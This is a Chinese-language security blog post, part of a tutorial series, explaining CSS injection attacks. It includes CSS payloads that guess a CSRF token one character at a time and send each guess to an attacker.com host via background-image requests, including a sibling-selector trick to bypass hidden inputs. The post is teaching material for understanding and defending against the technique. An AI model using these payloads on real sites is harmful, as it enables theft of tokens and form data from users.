iT邦幫忙

2023 iThome 鐵人賽

DAY 9
0
Security

從自建漏洞中學習 - 一起填坑吧系列 第 9

CSS 相關的攻擊 (下篇之 1)

  • 分享至 

  • xImage
  •  

CSS 相關的攻擊 (下篇之 1)

CSS Injection 介紹

有關 CSS Injection 的攻擊方式有很多,所以我們分為 1、2 兩篇來簡單介紹 ~
讓我們開始吧 XD

CSS Injection 簡介

根據 OWASP 對於 CSS Injection 的簡單介紹如下:

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.

CSS Injection (CSS 注入漏洞) 簡單來說,就是涉及在受信任網站的上下文中注入任意 CSS 程式碼

攻擊方式 1:使用 CSS 選擇器 + HTTP 請求偷偷猜資料

這種技巧的核心概念是:

利用 CSS selector 來「猜中」某個表單欄位的值

一旦猜中,就讓瀏覽器偷偷加載一張圖(其實是幫我們送 request)

先複習幾種常見的 CSS 屬性選擇器語法

語法 用途
[attr=value] 精準匹配
[attr^=value] 開頭是 value
[attr$=value] 結尾是 value
[attr*=value] 包含 value(中間任何地方)

攻擊範例 1:暴力猜 csrf token

input[name=csrf][value^=a] {
  background-image: url(https://attacker.com?q=a);
}
input[name=csrf][value^=b] {
  background-image: url(https://attacker.com?q=b);
}
/* 一路猜到 z 或 9 */

這段程式碼的邏輯是:

嘗試用 CSS 去「匹配」 csrf 欄位的值開頭是不是某個字母

如果猜中了,瀏覽器就會嘗試去載入對應圖片

攻擊者的伺服器會記錄哪一個字母被載入了,從而得知值的開頭是什麼

問題:但這樣真的有效嗎?

有個常見阻礙是:表單的 input 常是 type="hidden",而這種元素不會渲染樣式,也不會觸發 background-image

改進:使用鄰接選擇器(+)配合非隱藏元素

攻擊範例 2:繞過 hidden 限制

input[name=csrf][value^=csrF] + input {
  background-image: url(https://attacker.com?q=csrF);
}

HTML 結構範例如下:

<input name='csrf' value='csrFfff' type='hidden'>
<input name='userID'>

這段意思是:

如果 csrf 欄位的值開頭是 csrF

那麼它後面的 input(這裡是 userID)就會載入圖片

即使我們不能直接操作 hidden 元素,也能間接觸發 side-channel 資料洩漏

攻擊前提條件(這招不是萬能)

你要確認攻擊環境是否符合以下任一條件:

  • 允許注入足夠長的 CSS payload

  • 可被嵌入到 iframe 中(可視化且可偵測 CSS 觸發)

  • 可從瀏覽器對外載入圖片(無 CSP 限制)

否則可能因安全限制無法觸發 request,或被瀏覽器拒絕執行外部資源加載。

小結:這種 CSS Injection 有什麼特點?

優點:

  1. 無需 JS,適合 CSP 嚴格環境 Payload 長度大、猜測過程慢
  2. 可做資料洩露(例如 token、email) 不適合偷大量文字,僅限精準爆破

限制:

  1. Payload 長度大、猜測過程慢
  2. 不適合偷大量文字,僅限精準爆破

預告

對於這樣的攻擊方式,我們可以再加上其他方法,來讓整體的攻擊更有效率。
我會在下一篇文章繼續介紹 ~


今日小心得

這幾天經歷過很多事情,但我的鐵人賽文章還是繼續產出中 XD

不得不說,感覺 css injection 需要參考的文章好多,感覺上又可以分好多篇來寫...
不知道我什麼時候才可以再加入自建漏洞的實作 (汗顏

希望我的未來能夠更加順利,學習資訊安全的道路上也能夠越走越順利 ~ 繼續加油 !


Reference


上一篇
CSS 相關的攻擊 (中篇) - clickjacking 的其他形式
下一篇
CSS 相關的攻擊 (下篇之 2)
系列文
從自建漏洞中學習 - 一起填坑吧30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言